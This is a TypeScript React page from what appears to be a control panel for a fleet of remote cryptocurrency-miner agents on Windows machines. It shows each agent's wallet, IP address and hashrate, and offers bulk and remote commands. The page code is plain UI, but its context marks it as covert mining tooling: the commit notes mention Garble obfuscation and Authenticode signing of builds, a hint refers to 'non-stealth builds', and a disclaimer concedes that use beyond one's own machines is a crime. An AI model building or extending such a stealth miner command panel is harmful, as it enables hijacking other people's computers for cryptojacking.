Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
371 lines
15 KiB
TypeScript
371 lines
15 KiB
TypeScript
import { useState, useEffect, useMemo, useCallback } from 'react';
|
||
import { api } from '../api/client';
|
||
import { useWebSocket } from '../hooks/useWebSocket';
|
||
import type { Agent, HashrateSample } from '../types';
|
||
import HashrateChart from '../components/Charts/HashrateChart';
|
||
import NeonCard from '../components/NeonCard/NeonCard';
|
||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||
import AgentListItem from '../components/Fleet/AgentListItem';
|
||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||
import {
|
||
DEFAULT_FLEET_FILTERS,
|
||
filterFleetAgents,
|
||
agentIsIdleMiner,
|
||
formatHashrate,
|
||
formatUptime,
|
||
} from '../help/fleetFilters';
|
||
import type { FleetFilterState } from '../help/fleetFilters';
|
||
import '../components/Fleet/FleetPanels.css';
|
||
import '../components/Fleet/FleetToolbar.css';
|
||
import '../components/Fleet/AgentRemoteActions.css';
|
||
import './Pages.css';
|
||
|
||
export default function AgentsPage() {
|
||
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
|
||
const [agents, setAgents] = useState<Agent[]>([]);
|
||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||
const [bulkBusy, setBulkBusy] = useState(false);
|
||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||
const [loading, setLoading] = useState(true);
|
||
const [loadError, setLoadError] = useState('');
|
||
const [logContent, setLogContent] = useState('');
|
||
const [logLoading, setLogLoading] = useState(false);
|
||
const [notesDraft, setNotesDraft] = useState('');
|
||
const [tagsDraft, setTagsDraft] = useState('');
|
||
const [metaSaving, setMetaSaving] = useState(false);
|
||
const [metaMsg, setMetaMsg] = useState('');
|
||
|
||
useEffect(() => {
|
||
api.listAgents()
|
||
.then(setAgents)
|
||
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents'))
|
||
.finally(() => setLoading(false));
|
||
}, []);
|
||
|
||
useEffect(() => {
|
||
if (!isConnected) return;
|
||
setAgents(liveAgents);
|
||
if (!selectedAgent) return;
|
||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||
if (updated) {
|
||
setSelectedAgent(updated);
|
||
setNotesDraft(updated.notes || '');
|
||
setTagsDraft((updated.tags || []).join(', '));
|
||
} else {
|
||
setSelectedAgent(null);
|
||
setLogContent('');
|
||
}
|
||
}, [liveAgents, isConnected, selectedAgent?.id]);
|
||
|
||
useEffect(() => {
|
||
if (selectedAgent && agentLogs[selectedAgent.id]) {
|
||
setLogContent(agentLogs[selectedAgent.id]);
|
||
}
|
||
}, [selectedAgent?.id, agentLogs]);
|
||
|
||
const filteredAgents = useMemo(
|
||
() => filterFleetAgents(agents, filters),
|
||
[agents, filters]
|
||
);
|
||
|
||
const refreshLog = async (refresh = false) => {
|
||
if (!selectedAgent) return;
|
||
setLogLoading(true);
|
||
try {
|
||
const res = await api.getAgentLog(selectedAgent.id, refresh);
|
||
setLogContent(res.content || '');
|
||
} catch (err) {
|
||
setLogContent(err instanceof Error ? err.message : 'Failed to load log');
|
||
} finally {
|
||
setLogLoading(false);
|
||
}
|
||
};
|
||
|
||
const selectAgent = async (agent: Agent) => {
|
||
setSelectedAgent(agent);
|
||
setNotesDraft(agent.notes || '');
|
||
setTagsDraft((agent.tags || []).join(', '));
|
||
setMetaMsg('');
|
||
setLogContent('');
|
||
try {
|
||
const history = await api.getAgentStats(agent.id, 60);
|
||
setHashrateHistory(history);
|
||
} catch (err) {
|
||
console.error(err);
|
||
}
|
||
};
|
||
|
||
const saveMeta = async () => {
|
||
if (!selectedAgent) return;
|
||
setMetaSaving(true);
|
||
setMetaMsg('');
|
||
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
|
||
try {
|
||
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
|
||
const updated = res.agent;
|
||
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
|
||
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
|
||
setMetaMsg('Saved');
|
||
setTimeout(() => setMetaMsg(''), 2000);
|
||
} catch (err) {
|
||
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
|
||
} finally {
|
||
setMetaSaving(false);
|
||
}
|
||
};
|
||
|
||
const toggleSelect = useCallback((id: string, on: boolean) => {
|
||
setSelectedIds((prev) => {
|
||
const next = new Set(prev);
|
||
if (on) next.add(id);
|
||
else next.delete(id);
|
||
return next;
|
||
});
|
||
}, []);
|
||
|
||
const handleBulkAction = async (action: string) => {
|
||
const ids = [...selectedIds];
|
||
if (ids.length === 0) return;
|
||
|
||
let targetIds = ids;
|
||
if (action === 'restart_idle') {
|
||
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||
if (targetIds.length === 0) {
|
||
alert('No selected online agents with idle hashrate (< 100 H/s).');
|
||
return;
|
||
}
|
||
action = 'restart';
|
||
}
|
||
|
||
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||
if (onlineIds.length === 0) {
|
||
alert('No online agents in selection.');
|
||
return;
|
||
}
|
||
|
||
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
|
||
|
||
setBulkBusy(true);
|
||
try {
|
||
await api.sendBulkCommand(onlineIds, action);
|
||
} catch (err) {
|
||
console.error(err);
|
||
} finally {
|
||
setBulkBusy(false);
|
||
}
|
||
};
|
||
|
||
return (
|
||
<div className="page fade-in command-deck">
|
||
<header className="deck-hero">
|
||
<div className="deck-hero-text">
|
||
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
|
||
<h1>Fleet Roster</h1>
|
||
<p className="page-subtitle">Compact list — click a row to expand quick actions or inspect full telemetry on the right.</p>
|
||
</div>
|
||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||
</header>
|
||
|
||
{loadError && (
|
||
<NeonCard accent="amber" className="empty-state">
|
||
<p>{loadError}</p>
|
||
</NeonCard>
|
||
)}
|
||
|
||
{loading ? (
|
||
<NeonCard accent="brass" className="empty-state">
|
||
<p>Scanning network...</p>
|
||
</NeonCard>
|
||
) : agents.length === 0 ? (
|
||
<NeonCard accent="brass" className="empty-state">
|
||
<div className="empty-icon">⚙</div>
|
||
<h3>No agents registered</h3>
|
||
<p>Deploy a miner to a Windows machine and it will appear here automatically.</p>
|
||
</NeonCard>
|
||
) : (
|
||
<div className="agents-layout">
|
||
<div className="agents-list-panel">
|
||
<FleetToolbar
|
||
agents={agents}
|
||
filters={filters}
|
||
onChange={setFilters}
|
||
selectedCount={selectedIds.size}
|
||
onBulkAction={handleBulkAction}
|
||
bulkBusy={bulkBusy}
|
||
/>
|
||
<div className="agents-list">
|
||
{filteredAgents.map((agent) => (
|
||
<AgentListItem
|
||
key={agent.id}
|
||
agent={agent}
|
||
selected={selectedAgent?.id === agent.id}
|
||
expanded={expandedId === agent.id}
|
||
selectable
|
||
checked={selectedIds.has(agent.id)}
|
||
onCheck={(on) => toggleSelect(agent.id, on)}
|
||
onSelect={() => void selectAgent(agent)}
|
||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||
latestWsMessage={latestMessage}
|
||
/>
|
||
))}
|
||
{filteredAgents.length === 0 && (
|
||
<p className="form-hint">No agents match filters.</p>
|
||
)}
|
||
</div>
|
||
</div>
|
||
|
||
{selectedAgent && (
|
||
<NeonCard accent="cyan" className="agent-detail" hud>
|
||
<h2 className="font-display">{selectedAgent.name}</h2>
|
||
{(selectedAgent.tags?.length ?? 0) > 0 && (
|
||
<div style={{ marginBottom: '0.5rem' }}>
|
||
{selectedAgent.tags!.map((t) => (
|
||
<span key={t} className="agent-tag-chip">{t}</span>
|
||
))}
|
||
</div>
|
||
)}
|
||
|
||
<div className="detail-section agent-meta-editor">
|
||
<h3>Notes & Tags</h3>
|
||
<p className="form-hint">Labels like "Living room PC" or "Rack B" — stored on the server, shown on list cards.</p>
|
||
<textarea
|
||
className="input"
|
||
rows={2}
|
||
placeholder="Notes about this machine…"
|
||
value={notesDraft}
|
||
onChange={(e) => setNotesDraft(e.target.value)}
|
||
/>
|
||
<input
|
||
type="text"
|
||
className="input mono agent-meta-tags-input"
|
||
placeholder="Tags: living-room, rack-b (comma separated)"
|
||
value={tagsDraft}
|
||
onChange={(e) => setTagsDraft(e.target.value)}
|
||
/>
|
||
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
|
||
{metaSaving ? 'Saving…' : 'Save notes & tags'}
|
||
</button>
|
||
{metaMsg && <span className="form-hint">{metaMsg}</span>}
|
||
</div>
|
||
|
||
<div className="agent-detail-grid">
|
||
<div className="detail-item">
|
||
<span className="detail-label">Status</span>
|
||
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">Wallet</span>
|
||
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">IP Address</span>
|
||
<span className="detail-value">{selectedAgent.ip}</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">Version</span>
|
||
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">CPU Cores</span>
|
||
<span className="detail-value">{selectedAgent.cpu_cores}</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">Memory</span>
|
||
<span className="detail-value">{selectedAgent.memory_gb} GB</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">CPU Usage</span>
|
||
<span className="detail-value">{selectedAgent.cpu_usage_pct.toFixed(1)}%</span>
|
||
</div>
|
||
<div className="detail-item">
|
||
<span className="detail-label">Uptime</span>
|
||
<span className="detail-value">{formatUptime(selectedAgent.uptime_seconds)}</span>
|
||
</div>
|
||
</div>
|
||
|
||
<div className="detail-section">
|
||
<h3>Hashrate</h3>
|
||
<div className="hashrate-detail-grid">
|
||
<div className="hashrate-item">
|
||
<span className="detail-label">15s</span>
|
||
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15s)}</span>
|
||
</div>
|
||
<div className="hashrate-item">
|
||
<span className="detail-label">1m</span>
|
||
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_1m)}</span>
|
||
</div>
|
||
<div className="hashrate-item">
|
||
<span className="detail-label">15m</span>
|
||
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15m)}</span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<div className="detail-section">
|
||
<h3>Shares</h3>
|
||
<div className="shares-detail-grid">
|
||
<div className="share-stat good">
|
||
<span className="share-count">{selectedAgent.shares_good}</span>
|
||
<span className="share-label">Accepted</span>
|
||
</div>
|
||
<div className="share-stat bad">
|
||
<span className="share-count">{selectedAgent.shares_bad}</span>
|
||
<span className="share-label">Rejected</span>
|
||
</div>
|
||
<div className="share-stat total">
|
||
<span className="share-count">{selectedAgent.shares_total}</span>
|
||
<span className="share-label">Total</span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
{hashrateHistory.length > 0 && (
|
||
<div className="detail-section">
|
||
<h3 className="font-tech">HASHRATE TELEMETRY</h3>
|
||
<HashrateChart
|
||
title=""
|
||
color="#00f5ff"
|
||
unit="H/s"
|
||
height={240}
|
||
data={[...hashrateHistory].reverse().map((s) => ({
|
||
time: new Date(s.timestamp).toLocaleTimeString(),
|
||
value: s.hashrate,
|
||
}))}
|
||
/>
|
||
</div>
|
||
)}
|
||
|
||
<div className="detail-section">
|
||
<h3>Remote Control</h3>
|
||
{selectedAgent.status !== 'online' && (
|
||
<p className="form-hint">Agent is offline — remote actions are disabled until it reconnects.</p>
|
||
)}
|
||
<AgentRemoteActions
|
||
agent={selectedAgent}
|
||
online={selectedAgent.status === 'online'}
|
||
latestWsMessage={latestMessage}
|
||
onCommandSent={(action: string) => {
|
||
if (action === 'get_log') refreshLog(true);
|
||
}}
|
||
/>
|
||
</div>
|
||
|
||
<div className="detail-section">
|
||
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button></h3>
|
||
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
|
||
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
|
||
</div>
|
||
</NeonCard>
|
||
)}
|
||
</div>
|
||
)}
|
||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||
</footer>
|
||
</div>
|
||
);
|
||
}
|